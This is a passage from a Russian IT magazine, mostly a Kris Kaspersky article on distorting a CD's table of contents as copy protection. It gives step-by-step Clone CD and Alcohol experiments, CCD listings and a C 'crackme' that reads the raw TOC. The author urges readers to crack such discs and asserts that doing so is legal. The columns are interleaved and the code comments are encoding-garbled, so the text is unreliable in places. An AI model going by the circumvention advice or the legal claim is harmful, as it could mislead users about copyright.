Интернету. Единственное, что не очень удобно для нович- VPN, и, что не очень удобно (но зато безопасно), удален-
ков, в угоду маленькому размеру, как и в большинстве ное управление (надеюсь ненадолго). Распространяется
описываемых дистрибутивов, в PicoBSD практически нет в двух вариантах для записи на дискету и более наворо-
документации, кроме отдельных man-страниц специфи- ченный СD-ROM-вариант (12.8 Мб), не требует установки
ческих для него приложений. Поэтому советую скачать и на жесткий диск, все настройки во втором варианте мож-
файл README, ссылка на который имеется возле каждо- но сбросить на дискету. Системные требования по-пре-
го дистрибутива. Наличие исходников дает прекрасную жнему невысоки – любой процессор от i386 с 8 Мб RAM в
возможность самому собрать PicoBSD под свои нужды. floppy-варианте и 32 Мб в СD-ROM.
Дополнительно по адресу http://www.kot.dp.ua/ можно най- Как видите, выбрасывать старый компьютер еще рано.
ти скрипты для учета трафика, некоторую переведенную Он еще может сослужить хорошую службу и сэкономить
информацию и другие полезные программы. деньги на покупку дорогого маршрутизатора. Дополни-
ClosedBSD (http://www.closedbsd.org/) также основан на тельно каждый из представленных дистрибутивов можно
FreeBSD и использует некоторые специфические для этой заточить под конкретную сеть и задачи.
системы приложения вроде ipfw, позволяет создать firewall
или NAT. Причем в отличие от того же PicoBSD большин-
ство основных настроек сетевых устройств можно произ-
вести при помощи вполне понятной системы меню (рис.6,
6а). Естественно, для более тонкого конфигурирования в
32
администрирование
ИСКАЖЕНИЕ TOC
КАК СРЕДСТВО БОРЬБЫ
С НЕСАНКЦИОНИРОВАННЫМ
КОПИРОВАНИЕМ ДИСКА
Уже давно
Утихло поле боя,
Но сорок тысяч
Воинов Китая
Погибли здесь,
Пожертвовав собою...
Ду Фо
«Оплакиваю поражение при Чэньтао»
КРИС КАСПЕРСКИ
34
администрирование
Пишущий привод обязательно должен поддерживать ре- мира, не реагируя в том числе и на настойчивые попытки
жим RAW DAO (Disc At Once), в котором весь диск запи- пользователя сделать диску «EJECT». Дырку для аварий-
сывается за один проход лазера. Режим RAW SAO (Session ного выброса диска, правда, еще никто не отменял1, но, по
At Once) для этих целей совершенно непригоден, посколь- слухам, не везде она есть (хотя лично мне приводов без
ку предписывает приводу писать сначала содержимое сес- дырки еще не встречалось), а там где есть – зачастую ока-
сии, а потом – TOC. Как следствие – приводу приходится зывается скрытой за декоративной панелью или – что бо-
самостоятельно анализировать TOC, чтобы определить лее вероятно – пользователь может вообще не знать, что
стартовый адрес сессии и ее длину. Попытка записать ис- это за отверстие такое, для чего оно предназначено и как
каженный TOC в режиме SAO в общем случае приводит к им, собственно, следует пользоваться. На «Макинтошах»
непредсказуемому поведению привода и о работоспособ- таких дырок нет – это точно (или же «Маковские» пользова-
ной копии защищенного диска нечего и думать! Первая тели все сплошь идиоты). Во всяком случае, количество су-
встретившаяся приводу сессия с искаженным TOC обыч- дебных исков, поданных последними, в буквальном смысле
но оказывается и последней, т.к. остальные сессии пи- слова не поддается ни разуму, ни исчислению. Самое инте-
сать уже некуда (искажение TOC обычно преследует цель ресное, что подавляющее большинство этих исков были
увеличения размера сессии до нескольких гигабайт). удовлетворены и разработчикам пришлось оплатить и «ре-
Читающий привод помимо режима «сырого» чтения (ко- монт» аппаратуры, и моральный ущерб, и собственно сами
торый поддерживают практически все приводы) должен судебные издержки. (Между нами говоря, снятие защиты с
уметь распознавать искаженный TOC, автоматически пе- дисков, записанных с грубыми нарушениями стандарта, ко-
реходя в этом случае на использование «резервного» сред- ими, в частности, и являются диски с искаженным TOC, не
ства адресации – Q-канала подкода. В противном случае считается взломом, и не преследуется по закону, поэтому
сессия, содержащая искаженный TOC, окажется недоступ- ломайте, ломайте и еще раз ломайте).
ной для чтения даже на секторном уровне.
Таким образом, копирование дисков с искаженным Создание защищенного диска
TOC осуществимо не на всяком оборудовании и порядка с искаженным TOC
1/3 моделей «писцов» для этих целей непригодны. Узнать, Для создания защищенного диска с искаженным TOC нам
поддерживает ли выбранная вами модель привода режим понадобится: любая программа записи на диск, умеющая
RAW DAO или нет, можно, в частности, из раздела «Tech создавать многосессионные диски (например, Roxio Easy
support» справки Clone CD, где перечислены характерис- CD Creator), копировщик защищенных дисков, сохраняю-
тики достаточно большого количества всевозможных при- щий содержимое TOC в текстовом файле, доступном для
водов (впрочем, моих приводов там, увы, нет). Другой редактирования (мы выбираем Clone CD), и, естественно,
путь – «скормить» приводу SCSI/ATAPI команду 46h (GET сам пишущий привод, поддерживающий режим сырой за-
CONFIGURATION) и посмотреть, что он ответит. Из двух писи в режиме DAO. Для облегчения восприятия материа-
моих «писцов» режим RAW DAO поддерживает один лишь ла все действия будут расписаны по шагам, хотя это выг-
NEC. С определением возможности чтения искаженных лядит и не слишком литературно.
сессий дела обстоят на порядок сложнее, ибо данная осо-
бенность поведения является исключительно внутренней Шаг первый
характеристикой привода и не афишируется ни самим Достаем из упаковки CD-R болванку или – что даже луч-
приводом, ни его производителями. Приходится выяснять ше – засовываем в привод потертый жизнью CD-RW диск
эту информацию экспериментально. Возьмите диск с чу- и записываем на него пару сессий в штатном режиме.
довищно искаженным TOC (о том, как его создать, рас- Будет лучше (вернее, нагляднее), если вторая сессия бу-
сказано ниже), воткните его в привод и попробуйте про- дет включать в себя файлы первой сессии – той самой
честь несколько секторов из искаженной сессии. Реак- сессии, чей TOC мы и собираемся искажать. Интересно,
ция приводов может быть самой разнообразной. Тот же сможет ли привод прочесть ее содержимое или нет?
PHILIPS в зависимости от «настроения» своих электрон-
ных цепей то рапортует об ошибке чтения, то возвращает Шаг второй
совершенно бессмысленный мусор, в котором не угады- Запускаем Clone CD и просим его создать образ ориги-
вается даже синхропоследовательность, возглавляющая нального диска (выбираемый профиль настроек на дан-
заголовок сырого сектора. ном этапе некритичен, поскольку диск еще не защищен,
Основной недостаток защитных механизмов с искажен- то с равным успехом можно использовать как «CD с дан-
ным TOC состоит в том, что некоторые приводы такие дис- ными», так и «Protected PC Game»; галочку «создавать
ки просто «не видят» и потому не могут их воспроизвести. Cue-Sheet» взводить необязательно – все равно она дей-
Легальный пользователь, испытавший несовместимость ствительна лишь на односессионных CD).
защиты со своей аппаратурой, в лучшем случае обложит ее
разработчика матом и поспешит вернуть диск продавцу… Шаг третий
если, конечно, сможет вытащить эту «бяку» из недр CD- Если все сделано правильно и программно-аппаратное
ROM, и не факт, что у него получится, поскольку микро- обеспечение во всей своей совокупности работает нор-
процессорная начинка некоторых приводов при попытке мально, на жестком диске должны образоваться три фай-
анализа искаженного TOC просто «зависает» и привод пол- ла: IMAGE.CCD, – несущий в себе содержимое Q-канала
ностью абстрагируется от всех раздражителей внешнего подкода Lead-In области или, попросту говоря, TOC;
36
администрирование
TrackNo=0 ; -+ PMin=3 ; \
AMin=4 ; -+ PSec=1 ; + - àáñîëþòíûé àäðåñ íà÷àëà òðåêà 2
ASec=120 ; -+ ; ñåññèè 2
AFrame=96 ; -+ PFrame=33 ; /
ALBA=26946 ; -+ – ATIP-èíôîðìàöèÿ PLBA=13458 ; LBA-àäðåñ íà÷àëà òðåêà 2 ñåññèè 2
Zero=0 ; -+
PMin=0 ; -+ [Entry 11] ; äàííûå ýëåìåíòà TOC ¹11
PSec=0 ; -+ Session=2 ; ýëåìåíò ñåññèè 2
PFrame=0 ; -+ Point=0xb0 ; àäðåñ ñëåäóþùåé çàïèñûâàåìîé îáëàñòè
PLBA=-150 ; -+ ; â AMin:ASec:AFrame
ADR=0x05 ; Mode 5
[Entry 7] ; äàííûå ýëåìåíòà TOC ¹7 Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé
Session=2 ; ýëåìåíò ñåññèè 2 (âîò ìû è äîáðàëèñü ; äëÿ êîïèðîâàíèÿ
; äî ñåññèè 2!) TrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –
Point=0xa0 ; íîìåð ïåðâîãî òðåêà ñåññèè 2 ; ýòî Lead-in-òðåê (ò.å. TOC)
; â PMin/òèï äèñêà â PSec AMin=4 ; \
ADR=0x01 ; q-Mode == 1 ASec=54 ; + - àáñîëþòíûé àäðåñ ñëåäóþùåé
Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé ; çàïèñûâàåìîé îáëàñòè
; äëÿ êîïèðîâàíèÿ AFrame=23 ; /
TrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – ALBA=21923 ; LBA-àäðåñ ñëåäóþùåé çàïèñûâàåìîé îáëàñòè
; ýòî Lead-in-òðåê (ò.å. TOC) Zero=1 ; êîëè÷åñòâî pointer Mode 5
AMin=0 ; \ PMin=22 ; \
ASec=0 ; + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêà PSec=14 ; + - àáñîëþòíûé àäðåñ ïîñëåäíåé
AFrame=0 ; / ; âîçìîæíîé Lead-out-îáëàñòè
ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêà PFrame=34 ; / (íà ñàìîì äèñêå íàïèñàíî 23 ìèí.,
Zero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ, ; ýòî æ êàê íàäî îêðóãëÿòü 22:14:34)
; êàê îíî è åñòü PLBA=99934 ; LBA-àäðåñ ïîñëåäíåé âîçìîæíîé
PMin=2 ; íîìåð ïåðâîãî òðåêà ñåññèè 2 ; Lead-out-îáëàñòè
; (íóìåðàöèÿ òðåêîâ ñêâîçíàÿ!) [TRACK 1] ; äàííûå òðåêà 1
PSec=0 ; òèï äèñêà CD-DA è CD-ROM-äèñê â Mode 1 MODE=1 ; ðåæèì Mode 1
PFrame=0 ; íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèè INDEX 1=0 ; post-gap?
PLBA=8850 ; íîìåð òðåêà, ïðåäñòàâëåííûé Clone CD
; êàê LBA-àäðåñ, ò.å. ãëóïîñòü [TRACK 2] ; äàííûå òðåêà 2
[Entry 8] ; äàííûå ýëåìåíòà TOC ¹8 MODE=1 ; ðåæèì Mode 1
Session=2 ; ýëåìåíò ñåññèè 2 INDEX 1=0 ; post-gap?
Point=0xa1 ; íîìåð ïîñëåäíåãî òðåêà ñåññèè 2 â PMin
ADR=0x01 ; q-Mode == 1 Давайте теперь немного поиздеваемся над TOC и уве-
Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé
; äëÿ êîïèðîâàíèÿ личим стартовый адрес первого трека так, чтобы он вы-
TrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – шел далеко за пределы первой сессии и попал… ну, соб-
; ýòî Lead-in-òðåê (ò.å. TOC)
AMin=0 ; \ ственно, куда нибудь он все равно попадет. Чтобы быстро
ASec=0 ; + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêà отыскать соответствующую ему запись, воспользуемся
AFrame=0 ; /
ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêà контекстным поиском. Жмем <F7> и вводим «point=0x1»:
Zero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ,
; êàê îíî è åñòü Ëèñòèíã 2. Àòðèáóòû òðåêà 1.
PMin=2 ; íîìåð ïîñëåäíåãî òðåêà ñåññèè 2
; (â ñåññèè òîëüêî îäèí òðåê) [Entry 3] ; äàííûå ýëåìåíòà TOC ¹3
PSec=0 ; íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèè Session=1 ; ýëåìåíò ñåññèè 1
PFrame=0 ; íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèè Point=0x01 ; äàííûå òðåêà 1 ñåññèè 1
PLBA=8850 ; íîìåð òðåêà, ïðåäñòàâëåííûé Clone CD ADR=0x01 ; q-Mode == 1
; êàê LBA-àäðåñ, ò.å. ãëóïîñòü Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé
[Entry 9] ; äàííûå ýëåìåíòà TOC ¹9 ; äëÿ êîïèðîâàíèÿ
Session=2 ; ýëåìåíò ñåññèè 2 TrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –
Point=0xa2 ; ïîëîæåíèå Lead-out-îáëàñòè ; ýòî Lead-in-òðåê (ò.å. TOC)
; â PMin:PSec:PFrame AMin=0 ; \
ADR=0x01 ; q-Mode == 1 ASec=0 ; + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêà
Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé AFrame=0 ; /
; äëÿ êîïèðîâàíèÿ ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêà
TrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – Zero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ,
; ýòî Lead-in-òðåê (ò.å. TOC) ; êàê îíî è åñòü
AMin=0 ; \ PMin=0 ; \
ASec=0 ; + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêà PSec=2 ; + - àáñîëþòíûé àäðåñ íà÷àëà òðåêà 1
AFrame=0 ; / ; ñåññèè 1
ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêà PFrame=0 ; /
Zero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ, PLBA=0 ; LBA-àäðåñ íà÷àëà òðåêà 1 ñåññèè 1
; êàê îíî è åñòü
PMin=3 ; \
PSec=24 ; + - àáñîëþòíûé àäðåñ Lead-out-îáëàñòè Как мы видим, здесь присутствует как абсолютный,
; ñåññèè 2
PFrame=23 ; / измеряемый в минутах, секундах, фреймах, так и LBA-ад-
PLBA=15173 ; LBA-àäðåñ Lead-out-îáëàñòè ñåññèè 2 рес трека, представляющий собой не что иное, как по-
[Entry 10] ; äàííûå ýëåìåíòà TOC ¹10 рядковый номер сектора, считая от нуля. На самом деле,
Session=2 ; ýëåìåíò ñåññèè 2 LBA-адрес – это «отсебятина», добавляемая в файл са-
Point=0x02 ; äàííûå òðåêà 2 ñåññèè 2
ADR=0x01 ; q-Mode == 1 мим Clone CD, и в TOC LBA-адрес не хранится. Судя по
Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé всему, Clone CD вычисляет LBA-адрес исходя из сообра-
; äëÿ êîïèðîâàíèÿ
TrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – жений удобства (работать с LBA-адресацией действитель-
; ýòî Lead-in-òðåê (ò.å. TOC) но намного комфортнее). Однако при внесении каких-либо
AMin=0 ; \
ASec=0 ; + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêà изменений в CCD-файл за согласованием обоих типов
AFrame=0 ; / адресов нам придется следить самостоятельно. Для пе-
ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêà
Zero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ, ревода абсолютных адресов в LBA можно воспользовать-
; êàê îíî è åñòü ся следующей формулой:
38
администрирование
писи (если, конечно, на вашем приводе он есть) и приступа- лифицированные пользователи, использующие Clone CD
ет к делу. Проходит минута, другая… а индикатор прогрес- для своих нужд? В общем мрак, одним словом…
са по-прежнему остается на нуле. К исходу шестой минуты, Правда, в режиме RAW DAO нарезка искаженного обра-
когда пишущая головка достигает кромки диска, процесс за протекает отлично и Clone CD не вносит в TOC никакой
записи аварийно прерывается приводом и Alcohol, издав отсебятины, благодаря чему у нас образуется действитель-
грустное «бэмс», сигнализирует об аппаратной ошибке. но защищенный CD, который мы сейчас и будем ломать.
Просмотр «недорезанного» диска на приводах ASUS
и NEC обнаруживает лишь первую сессию, а от второй не Шаг шестой
видно и следа. С приводом PHILIPS дела обстоят еще Просмотр защищенного диска под приводом NEC показы-
хуже – он вообще отказывается признавать засунутую в вает все файлы, даже те, что принадлежат первому тре-
него штуку лазерным диском, и после непродолжитель- ку – тому самому треку, чей стартовый адрес жестоко ис-
ного скрежета своих механических внутренностей, сопро- кажен. Двойной щелчок мышью доказывает, что файлы
вождаемых натужными завываниями перебирающего раз- не только присутствуют в каталоге, но и успешно открыва-
личные скорости мотора, индикатор «DISC IN» прощаль- ются ассоциированным с ними приложениям и, судя по
но гаснет. «Прощально» в том смысле, что с испорчен- всему, выглядят вполне нормальными. Нашу душу начина-
ной болванкой вам придется расстаться. Конечно, если ют грызть смутные сомнения: действительно ли пишущий
это всего лишь дешевый CD-R, то туда ему и дорога, но привод записал стартовый адрес первого трека таким, ка-
потерять CD-RW жалко. К счастью, на NEC очистка диска ким мы просили, или молчаливо исправил его на лету?
протекает успешно, и, воодушевленные этим обстоятель- Для ответа на этот вопрос мы должны исследовать гео-
ством, мы продолжаем свои издевательства вновь. метрию диска, т.е., попросту говоря, прочитать TOC. Запус-
Копировщик Clone CD ведет себя в этом отношении каем уже полюбившийся нам Roxio Easy CD Creator и в меню
иначе. Во-первых, он оценивает длину искаженного тре- «CD» находим пункт «CD Information». Щелкаем по нему
ка в 4 294 868 664 Кб (см. листинг, приведенный ниже), мышкой, и на экран тут же выпрыгивает диалоговое окно с
что указывает на использование 32-разрядных перемен- раскладкой диска (внимание! не все программы способны
ных и вытекающую отсюда невозможность отличать по- «переваривать» искаженный TOC! Easy CD Creator это уме-
ложительные длины от отрицательных. ет, а вот, например, Record NOW! – нет. В отсутствии подхо-
дящей утилиты вы можете воспользоваться программой
Ëèñòèíã 5. Ñâîäíàÿ èíôîðìàöèÿ ïî çàïèñûâàåìîìó îáðàçó, âû- raw.TOC.exe, поставляемой вместе с этой книгой).
äàâàåìàÿ Clone CD. Îáðàòèòå âíèìàíèå íà ðàçìåð ïåðâîãî òðå-
êà ïåðâîé ñåññèè (îí âûäåëåí äðóãèì öâåòîì). Как и следовало ожидать, стартовый адрес первого
трека лежит далеко за пределами своей «родной» сес-
ÈÍÔÎÐÌÀÖÈß Î ÔÀÉËÅ-ÎÁÐÀÇÅ:
сии, и его длина, будучи выраженная положительным чис-
×èñëî ñåññèé: 2 лом, значительно превышает доступную емкость диска
Çàíÿòî íà äèñêå: 34850 Êáàéò
Ñåêòîðîâ: 15173 (см. рис. ниже). Так что все наши волнения абсолютно бе-
Âðåìÿ: 03:22:23 (ìèí:ñåê:êàäð) зосновательны!
ÈÍÔÎÐÌÀÖÈß Î ÑÅÑÑÈÈ 1:
Ðàçìåð ñåññèè: 4726 Êáàéò
×èñëî òðåêîâ: 1
Pregap: Äàííûå Mode 1, ðàçìåð: 103359 Êáàéò
Track 1: Äàííûå Mode 1, ðàçìåð: 4294868664 Êáàéò
ÈÍÔÎÐÌÀÖÈß Î ÑÅÑÑÈÈ 2:
Ðàçìåð ñåññèè: 3939 Êáàéò
×èñëî òðåêîâ: 1
Track 2: Äàííûå Mode 1, ðàçìåð: 3939 Êáàéò
40
администрирование
[Entry 3] ; äàííûå ýëåìåíòà TOC ¹3 сохранились, оказались неожиданно измененными поля
Session=1 ; ýëåìåíò ñåññèè 1
Point=0x01 ; äàííûå òðåêà 1 ñåññèè 1 Application Code и ATIP (и это несмотря на то, что запись про-
ADR=0x01 ; q-Mode == 1 изводилась на ту же самую CD-RW-болванку, что и раньше,
Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé
; äëÿ êîïèðîâàíèÿ хотя ее «прожиг» осуществлялся различными приводами).
TrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – Как следствие: скопированный диск оказывается рабо-
; ýòî Lead-in-òðåê (ò.å. TOC)
AMin=0 ; \ тоспособен не на всех приводах (ASUS и NEC его прочита-
ASec=0 ; + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêà ют, а вот PHILIPS – нет), к тому же защите ничего не стоит
AFrame=0 ; /
ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêà прочитать текущий TOC и сравнить его с эталонным.
Zero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ, Короче говоря, «факир был пьян, и фокус не удался».
; êàê îíî è åñòü
PMin=10 ; \ Что ж, попробуем обратиться за помощью к Alcohol– уж
PSec=2 ; + - àáñîëþòíûé àäðåñ íà÷àëà òðåêà 1 он-то должен наверняка с этим справиться. Действитель-
; ñåññèè 1
PFrame=0 ; / но, Alcohol видит обе сессии: как искаженную, так и неис-
PLBA=45000 ; LBA-àäðåñ íà÷àëà òðåêà 1 ñåññèè 1 каженную, однако по малопонятным причинам сохраняет
[Entry 4] ; äàííûå ýëåìåíòà TOC ¹4 в образ лишь вторую из них (Clone CD сохранял первую).
Session=1 ; ýëåìåíò ñåññèè 1 Ну что это за зоопарк, а? Содержимое TOC скопированно-
Point=0xb0 ; ïîçèöèÿ ñëåäóþùåé çàïèñûâàåìîé îáëàñòè
; â AMin:ASec:AFrame го диска можно даже и не сравнивать – там будет далеко
ADR=0x05 ; q-Mode == 1 не то, что защита собирается ожидать. И напрасно! Содер-
Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé
; äëÿ êîïèðîâàíèÿ жимое TOC, снятое Alcohol, практически полностью соот-
TrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – ветствует оригиналу. Единственно, в чем ошибся Alcohol, –
; ýòî Lead-in-òðåê (ò.å. TOC)
AMin=2 ; \ определил тип pre-gap обоих треков не как Mode 1, но как
ASec=59 ; + - àáñîëþòíûé àäðåñ ñëåäóþùåé Mode 2. Впрочем, в силу отсутствия в образе первой сес-
; çàïèñûâàåìîé îáëàñòè
AFrame=33 ; / сии полученная с его помощью копия диска все равно ока-
ALBA=13308 ; LBA-àäðåñ ñëåäóþùåé çàïèñûâàåìîé îáëàñòè зывается неработоспособной.
Zero=3 ; êîëè÷åñòâî pointer â Mode 5
PMin=22 ; \
PSec=14 ; + - àáñîëþòíûé àäðåñ ìàêñèìàëüíîé
; çàïèñûâàåìîé îáëàñòè
PFrame=34 ; /
PLBA=99934 ; LBA-àäðåñ ìàêñèìàëüíîé çàïèñûâàåìîé
; îáëàñòè
[Entry 5] ; äàííûå ýëåìåíòà TOC ¹5
Session=1 ; ýëåìåíò ñåññèè 1
Point=0xc0 ; ñòàðòîâûé àäðåñ Lead-in-îáëàñòè
; Hybrid-äèñêà (åñëè îí åñòü)
ADR=0x05 ; Mode 5 (Îðàíæåâàÿ êíèãà)
Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé
; äëÿ êîïèðîâàíèÿ
TrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –
; ýòî Lead-in-òðåê (ò.å. TOC)
AMin=162 ; ðåêîìåíäóåìàÿ ìîùíîñòü ëàçåðà äëÿ
ASec=200 ; Application code (â îðèãèíàëå çäåñü
; áûëî 128)
AFrame=224 ; â îðèãèíàëå çäåñü áûëî 140
ALBA=294074 ; LBA-"àäðåñ" òðåõ ïðåäûäóùèõ ïîëåé
Zero=0 ; çàðåçåðâèðîâàíî
PMin=97 ; \
PSec=27 ; + - àáñîëþòíûé àäðåñ Lead-in-îáëàñòè
; Hybrid-äèñêà
PFrame=21 ; / (àäðåñ ëåæèò çà ïðåäåëàìè äèñêà,
; ò.å. Hybrid-äèñêà íåò) Ðèñóíîê 2. Alcohol âèäèò îáå ñåññèè çàùèùåííîãî äèñêà, íî…
PLBA=-11604 ; LBA-àäðåñ Lead-in-îáëàñòè Hybrid
; (âû÷èñëåí ñ ïåðåïîëíåíèåì)
[Entry 6] ; äàííûå ýëåìåíòà TOC ¹6
Session=1 ; ýëåìåíò ñåññèè 1
Point=0xc1 ; êîïèÿ ATIP-èíôîðìàöèè
ADR=0x05 ; -+
Control=0x04 ; -+
TrackNo=0 ; -+
AMin=4 ; -+
ASec=192 ; -+
AFrame=150 ; -+- ATIP (èçìåíåíà!)
ALBA=32400 ; -+
Zero=0 ; -+
PMin=0 ; -+
PSec=0 ; -+
PFrame=0 ; -+
PLBA=-150
[TRACK 1]
MODE=0
INDEX 1=45000
42
администрирование
ся от привода к приводу. Грамотно спроектированная за- CDB[7] = HIBYTE(MAX_TOC_SIZE); // ðàçìåð...
CDB[8] = LOBYTE(MAX_TOC_SIZE); // ...áóôåðà
щита должна анализировать только те поля, к содержи-
мому которых она привязывается явно. // ÷èòàåì TOC
while(1)
Демонстрационный пример, приведенный ниже, как раз {
и иллюстрирует технику корректной привязки к TOC. Разу- // ïîñûëàåì CDB-áëîê SCSI/ATAPI-óñòðîéñòâó
a = SEND_SCSI_CMD(argv[1], CDB, ATAPI_CDB_SIZE, ↵
меется, явная проверка целости TOC может быть элемен- NO_SENSE, TOC, MAX_TOC_SIZE, SCSI_DATA_IN);
тарно обнаружена хакером и выкинута из программы как // TOC óñïåøíî ïðî÷èòàí, ðâåì êîãòè
if (a == SCSI_OK) break;
ненужная, поэтому не стоит копировать этот демонстраци-
онный пример один к одному в свои программы. Лучше // ïðîèçîøëà îøèáêà. Âîçìîæíî ïðèâîä íå ãîòîâ?
// âûäåðæèâàåì ïàóçó
используйте значения полей TOC как рабочие константы, Sleep(TRY_DELAY);
жизненно необходимые для нормальной работоспособно- // ìàêñèìàëüíîå êîëè÷åñòâî ïîïûòîê óæå âûøëî?
if (try++ == MAX_TRY)
сти программы, – в этом случае сличение паспортов с ли- { fprintf(stderr,"-ERR: can not read ↵
цами будет не столь наглядным. Естественно, явная про- TOC\x7\n"); return -1;}
}
верка оригинальности диска все равно обязана быть, но
ее основная цель отнюдь не защитить программу от взло- // TOC ïðî÷èòàí, ïðèñòóïàåì ê åãî àíàëèçó
//---------------------------------------
ма, а довести до сведения пользователя, что проверяемый
диск с точки зрения защиты не является лицензионным. // ïðîâåðêà êîëè÷åñòâà ñåññèé
if ((TOC[3] - TOC[2]) != (_N_SESSION-1))
{fprintf(stderr, "-ERR: not original ↵
Ëèñòèíã 8. Äåìîíñòðàöèîííûé ïðèìåð ïðîñòåéøåé çàùèòû, ïðèâÿ- CD\n");return -1;}
çûâàþùåéñÿ ê èñêàæåííîìó TOC è íå ïîçâîëÿþùåé ñåáÿ êîïèðîâàòü.
// ïðîâåðêà ñòàðòîâîãî LBA-àäðåñà òðåêà _TRACK
/*-------------------------------------------------------- //--------------------------------------------
* // îïðåäåëåíèå ðåàëüíîé äëèíû TOC
* crack me 9822C095h real_len = TOC[0]*0x100L+TOC[1];
* ================== // ïåðåáîð âñåõ entry
* for (a = 4; a < real_len; a+=11)
* äåìîíñòðàöèÿ òåõíèêè ïðèâÿçêè ê èñêàæåííîìó TOC; {
* äëÿ ðàáîòå ïðîãðàììå òðåáóåòñÿ ëàçåðíûé äèñê, ïðîææåííûé // ýòî íàø òðåê?
* ñîîòâåòñòâóþùèì îáðàçîì if (TOC[a+3] == _TRACK)
---------------------------------------------------------*/ if ((((TOC[a + 4]∗60L) + TOC[a + 5])∗75L) + ↵
#include <stdio.h> TOC[a + 6] != _TRACK_LBA)
#include <windows.h> {fprintf(stderr, "-ERR: ↵
#include "CD.h" not original LBA\n"); ↵
#include "SPTI.h" return -1;}
#include "ASPI32.h" else
break;
// ïàðàìåòðû çàùèùåííîãî äèñêà, êîòîðûå ìû áóäåì ïðîâåðÿòü }
//------------------------------------------------------–
#define _N_SESSION 2 // êîëè÷åñòâî ñåññèé // ýòî îðèãèíàëüíûé äèñê!
#define _TRACK 1 // íîìåð ïðîâåðÿåìîãî òðåêà printf("Hello, original CD\n");
#define _TRACK_LBA 0x6B124 // ñòàðòîâûé LBA-àäðåñ }
// òðåêà _TRACK
Предлагаемая защита не копируется Clone CD (т.к. он
// ïàðàìåòðû ïðîãðàììû
//-------------------- создает всего одну сессию вместо ожидаемых двух), но
#define MAX_TRY 3 // ìàê. êîë-âî ïîïûòîê ÷òåíèÿ TOC легко обходится Alcohol, который хоть и помещает на
#define TRY_DELAY 100 // çàäåðæêà ìåæäó ïîïûòêàìè
#define MAX_TOC_SIZE (2352) // ìàêñèìàëüíûé ðàçìåð TOC место первой секции непотребный мусор, зато вполне кор-
ректно воссоздает оригинальный TOC.
main(int argc, char **argv) Для усиления защиты мы можем попытаться не только
{ проверять обе сессии на существование, но и контролиро-
// îñíîâíûå ïåðåìåííûå
long a, real_len, try = 1; вать целостность их содержимого. Разумеется, не обяза-
// ñþäà áóäåò ÷èòàòüñÿ TOC тельно перелопачивать каждую из секций целиком. Доста-
unsigned char TOC[MAX_TOC_SIZE];
// SCSI CDB-áëîê äëÿ SCSI/ATAPI-óñòðîéñòâ точно выбрать несколько ключевых секторов, желательно
unsigned char CDB[ATAPI_CDB_SIZE]; имеющих по возможности уникальное содержимое. По-
// TITLE стойте! – воскликнет внимательный читатель. Разве автор
fprintf(stderr,"crackme 9822C095 by Kris Kaspersky\n"); не предостерегал нас о последствиях такой проверки?!
if (argc <2) Ведь никто не может гарантировать, что на оборудовании
{ пользователя эти сектора вообще прочтутся! Что ж, отве-
fprintf(stderr,"USAGE:crackme.9822C095h.exe ↵
drive\n"); чу я. Закладываться на читабельность секторов действи-
fprintf(stderr,"\tdrive - \\\\.\\X: or ↵ тельно категорически не рекомендуется, но вот контроли-
Trg.Lun\n");
return -1; ровать успешно просчитавшиеся сектора можно и нужно!
} То есть: если ключевые сектора не читаются, то все ок и
// èíèöèàëèçàöèÿ áóôåðîâ нет никаких поводов считать диск нелицензионным – это
memset(CDB, 0, ATAPI_CDB_SIZE); memset(TOC, 0, ↵ просто у конечного пользователя оборудование такое (в
MAX_TOC_SIZE);
смысле кривое). Другое дело, если чтение секторов про-
// ãîòîâèì CDB-áëîê шло без ошибок, но вместо ключевых данных в них оказа-
CDB[0] = 0x43; // READ TOC
CDB[2] = 0x2; // RAW TOC лось нечто совсем иное. Вот тогда, действительно, пробле-
CDB[6] = 0; // íîìåð ïåðâîé ñåññèè ма не в оборудовании, а в диске.
44
bugtraq
Переполнение буфера через Удаленный отказ
веб-приложение в GNU Whois-клиенте в обслуживании в Sendmail
Переполнение буфера обнаружено в GNU Whois-клиен- Уязвимость обнаружена в почтовом сервере Sendmail.
те. Веб-приложения, которые вызывают whois, позволя- Удаленный атакующий, способный контролировать отве-
